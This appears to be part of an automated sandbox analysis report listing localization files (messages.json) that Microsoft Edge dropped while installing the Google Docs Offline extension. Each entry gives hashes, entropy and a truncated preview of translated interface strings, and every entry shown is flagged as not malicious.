Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1520355108\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
